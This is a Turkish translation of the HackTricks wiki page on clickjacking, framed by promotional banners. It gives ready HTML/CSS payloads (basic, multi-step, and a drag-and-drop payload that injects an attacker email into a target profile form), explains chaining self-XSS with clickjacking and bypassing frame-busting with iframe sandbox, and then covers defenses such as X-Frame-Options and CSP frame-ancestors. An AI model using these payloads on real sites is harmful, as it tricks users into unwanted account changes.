12 KiB
Clickjacking
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubumuza veya telegram grubumuza veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Clickjacking Nedir
Clickjacking saldırısında, bir kullanıcı bir web sayfasındaki görünmez veya farklı bir öğe olarak kamuflaj yapmış bir öğeyi tıklamaya kandırılır. Bu manipülasyon, kullanıcı için istenmeyen sonuçlara yol açabilir, örneğin kötü amaçlı yazılım indirme, kötü amaçlı web sayfalarına yönlendirme, kimlik bilgilerinin veya hassas bilgilerin sağlanması, para transferleri veya ürünlerin online satın alınması.
Formları Önceden Doldurma Hilesi
Bazen bir sayfayı yüklerken GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak mümkün olabilir. Bir saldırgan, bir formu keyfi verilerle doldurmak ve kullanıcının düğmeye basmasını sağlamak için clickjacking yükünü gönderebilir.
Drag&Drop ile Formu Doldurma
Kullanıcının bir formu doldurmasını istiyorsanız ancak doğrudan belirli bilgileri yazmasını istemiyorsanız (örneğin, bildiğiniz e-posta veya belirli bir şifre gibi), sadece sizin kontrol ettiğiniz verileri yazacak bir şeyi sürükleyip bırakmasını isteyebilirsiniz, bu örnekte olduğu gibi.
Temel Yük
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Çok Adımlı Yükleme
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Sürükle ve Bırak + Tıkla yükü
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Eğer bir XSS saldırısı tespit ettiniz ve bu saldırının tetiklenmesi için bir kullanıcının tıklaması gerekiyorsa ve sayfa clickjacking'e karşı savunmasız ise, bunu kullanarak kullanıcıyı düğmeye/linke tıklamaya kandırabilirsiniz.
Örnek:
Bir hesabın bazı özel detaylarında bir self XSS buldunuz (detaylar yalnızca sizin tarafınızdan ayarlanabilir ve okunabilir). Bu detayları ayarlamak için form içeren sayfa Clickjacking'e karşı savunmasız ve GET parametreleri ile formu önceden doldurabilirsiniz.
__Bir saldırgan, o sayfaya Clickjacking saldırısı hazırlayabilir, formu XSS yüküyle önceden doldurarak ve kullanıcıyı formu göndermeye kandırarak. Böylece, form gönderildiğinde ve değerler değiştirildiğinde, kullanıcı XSS'i çalıştıracaktır.
Clickjacking'i Azaltma Stratejileri
İstemci Tarafı Savunmaları
İstemci tarafında çalıştırılan betikler, Clickjacking'i önlemek için aksiyonlar gerçekleştirebilir:
- Uygulama penceresinin ana veya üst pencere olmasını sağlamak.
- Tüm çerçeveleri görünür hale getirmek.
- Görünmez çerçevelere tıklamayı engellemek.
- Kullanıcıları potansiyel Clickjacking girişimleri konusunda tespit etmek ve uyarı vermek.
Ancak, bu çerçeve-kırma betikleri atlatılabilir:
- Tarayıcıların Güvenlik Ayarları: Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine dayanarak bu betikleri engelleyebilir.
- HTML5 iframe
sandbox
Özniteliği: Bir saldırgan,allow-forms
veyaallow-scripts
değerleri ileallow-top-navigation
olmadansandbox
özniteliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'ın üst pencere olup olmadığını doğrulamasını engeller, örn.
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Sunucu Tarafı Savunmaları
X-Frame-Options
X-Frame-Options
HTTP yanıt başlığı, bir sayfanın <frame>
veya <iframe>
içinde oluşturulmasının meşruiyeti hakkında tarayıcılara bilgi vererek Clickjacking'i önlemeye yardımcı olur:
X-Frame-Options: deny
- Hiçbir etki alanı içeriği çerçeveliyemez.X-Frame-Options: sameorigin
- Yalnızca mevcut site içeriği çerçeveliyebilir.X-Frame-Options: allow-from https://trusted.com
- Yalnızca belirtilen 'uri' sayfayı çerçeveliyebilir.- Sınırlamaları dikkate alın: Tarayıcı bu direktifi desteklemiyorsa çalışmayabilir. Bazı tarayıcılar CSP frame-ancestors direktifini tercih eder.
İçerik Güvenlik Politikası (CSP) frame-ancestors direktifi
CSP'deki frame-ancestors
direktifi, Clickjacking koruması için önerilen yöntemdir:
frame-ancestors 'none'
-X-Frame-Options: deny
ile benzer.frame-ancestors 'self'
-X-Frame-Options: sameorigin
ile benzer.frame-ancestors trusted.com
-X-Frame-Options: allow-from
ile benzer.
Örneğin, aşağıdaki CSP yalnızca aynı etki alanından çerçevelenmeyi sağlar:
Content-Security-Policy: frame-ancestors 'self';
Daha fazla ayrıntı ve karmaşık örnekler frame-ancestors CSP belgelerinde ve Mozilla'nın CSP frame-ancestors belgelerinde bulunabilir.
İçerik Güvenlik Politikası (CSP) ile child-src
ve frame-src
İçerik Güvenlik Politikası (CSP), tarayıcının hangi kaynakların içeriği yüklemesine izin vermesi gerektiğini belirterek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemede yardımcı olan bir güvenlik önlemidir.
frame-src
Direktifi
- Çerçeveler için geçerli kaynakları tanımlar.
default-src
direktifinden daha spesifiktir.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Bu politika, aynı kökten gelen çerçevelere (self) ve https://trusted-website.com'a izin verir.
child-src
Yönergesi
- Web işçileri ve çerçeveler için geçerli kaynakları belirlemek için CSP seviye 2'de tanıtıldı.
- frame-src ve worker-src için bir yedek olarak işlev görür.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Bu politika, aynı kökten (self) ve https://trusted-website.com'dan çerçevelere ve işçilere izin verir.
Kullanım Notları:
- Kullanım Dışı: child-src, frame-src ve worker-src lehine kademeli olarak kaldırılmaktadır.
- Yedek Davranış: frame-src mevcut değilse, çerçeveler için yedek olarak child-src kullanılır. Her ikisi de mevcut değilse, default-src kullanılır.
- Katı Kaynak Tanımı: Sömürüyü önlemek için direktiflere yalnızca güvenilir kaynakları ekleyin.
JavaScript Çerçeve-Kırma Komut Dosyaları
Tamamen güvenilir olmasa da, JavaScript tabanlı çerçeve-kırma komut dosyaları, bir web sayfasının çerçevelenmesini engellemek için kullanılabilir. Örnek:
if (top !== self) {
top.location = self.location;
}
Anti-CSRF Tokenlarını Kullanma
- Token Doğrulama: Web uygulamalarında anti-CSRF tokenlarını kullanarak, durum değiştiren isteklerin kullanıcı tarafından kasıtlı olarak yapıldığından emin olun ve Clickjacking sayfası aracılığıyla yapılmadığından emin olun.
Referanslar
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatikleştirilmiş iş akışları oluşturun ve yönetin.
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.